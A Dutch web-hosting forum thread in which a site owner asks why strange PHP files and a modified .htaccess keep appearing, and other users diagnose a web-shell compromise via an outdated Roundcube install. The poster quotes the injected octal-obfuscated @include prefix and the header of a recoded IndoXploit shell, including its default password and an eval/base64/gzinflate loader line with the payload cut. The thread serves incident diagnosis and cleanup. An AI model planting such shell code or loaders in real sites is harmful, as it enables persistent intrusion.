hosting: vreemde files verschijnen plotseling

[witje_]

Context:
hosting bij Versio, voornamelijk om een paar pagina's (fotoboekje, receptenpagina) te hosten.
inclusief een aantal subdomeinen die verwijzingen doen via .htaccess files naar andere pagina's

Mijn vraag
Gisteren merkte ik dat mijn subdomein met .htaccess verwijzingen niet meer werkte, de dag ervoor werkte die nog wel goed.
Ik zag dat op al mijn subfolders de .htaccess file was aangepast (met als doel om ongeveer alles te blokkeren) en dat er een hoop vreemde .php files zijn toegevoegd en dat aan het begin van de bestaande index.php files een stukje file was toegevoegd.

Acties:
- wachtwoord aangepast en two-factor geactiveerd
- alles opgekuisd en teruggezet naar hoe het stond (hopelijk alles...)

Vandaag zie ik dat er terug index.php files zijn aangemaakt die ik gisteren verwijderd heb. (.htaccess files waren wel onaangepast)

Gisteren ook versio gecontacteerd en hun antwoord is: ja wij hebben toegang tot uw files, maar neen wij doen niets automatisch.


Prefix die toegevoegd is aan de bestaande index.php (of als niet bestaande, dan is dit de enigste code wat erin zit:
(als je tussen de cijfers leest dan staat er daar een verwijzing naar folders uit mijn hosting, specifiek naar roundcube, de combinatie van cijfers en letters is altijd anders, maar het verwijst wel naar zelfde bestand)

code:

<?php
/*e0304*/
  
@include "\057ho\155e/\142ar\164dc\17017\060/d\157ma\151ns\057 (.... knip ...)

/*e0304*/

Ook volgende file heb ik gevonden:

code:

<?php
###############################################################################
//Thanks Buat Yg Udh Support Buat Shell Ini
//Shell Recoded From IndoXploit Shell
//Thanks For Ashura - MA_h4ck0601 - ScarleT7 - Cyber Merah Putih
//Special Thanks For My Bee :*
###############################################################################

$auth_user =
"29";
$auth_pass = "e5057bd08dc553311081fd1107f05d7a"; //default : Mercury2911


$Kidsjamannow= "7X35e9rIsujPme+b/6Gj8Q32jc1zO4nXGeyAaoy ... (knip, want heel lang) ... NOX3f8H";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($Kidsjamannow))))));

Wat ik nu nog ga doen: roundcube updaten naar laatste versie (want de verwijzingen van de toevoegingen zijn altijd naar daar)

Iemand enig idee wat er mis is?

[Outerspace]

Ik zou eerder starten met een volledige wipe, alles opnieuw opbouwen en handmatig back-ups of bestanden terugzetten na controle.

[SeatRider]

Je bent duidelijk gehackt, vermoedelijk niet doordat iemand heeft ingelogd op de control panel, maar door een kwetsbaarheid in PHP of het gebruikte CMS.

[xares]

Vrijwel altijd komt dit altijd door dat je gehackt bent via je PHP code die niet up to date is of een lek bevat.
Heel soms nog via FTP met een slecht password, maar dat gebeurd vrij weinig.

[synoniem]

Toevallig de Roundcube installer laten staan op een publiek bereikbare plaats? Daar zijn een heel aantal security fixes voor local file inclusion voor. Roundcube zit inmiddels op versie 1.4.5 en 1.3.12.

[NESFreak]

Een hacker geeft inderdaad waarschijnlijk via een exploit in je cms een backdoor shell geïnstalleerd. In dit geval eentje die blijkbaar IndoXploit heet.

Wikipedia: Web shell

Zolang de exploit nog in je cms zit of die shell nog in één van je php files verborgen zit blijf je gehackt en ben je mogelijk onderdeel van een botnet, verspreid je virussen, en host je een nepversie van de site van de Rabobank.

Er is dus een stukje verantwoordelijkheid aan jou kant om dit zsm volledig offline te halen.

[witje_]

Thanks,

In die richting was ik ook aan het denken. De oude roundcube is verwijderd en alle ander niet gebruikte zaken zijn verwijderd. De paar pagina's die blijven staan, heb ik gecontroleerd en opgeschoont.

Ik wacht tot morgen om te kijken of er nog vreemde dingen gebeuren.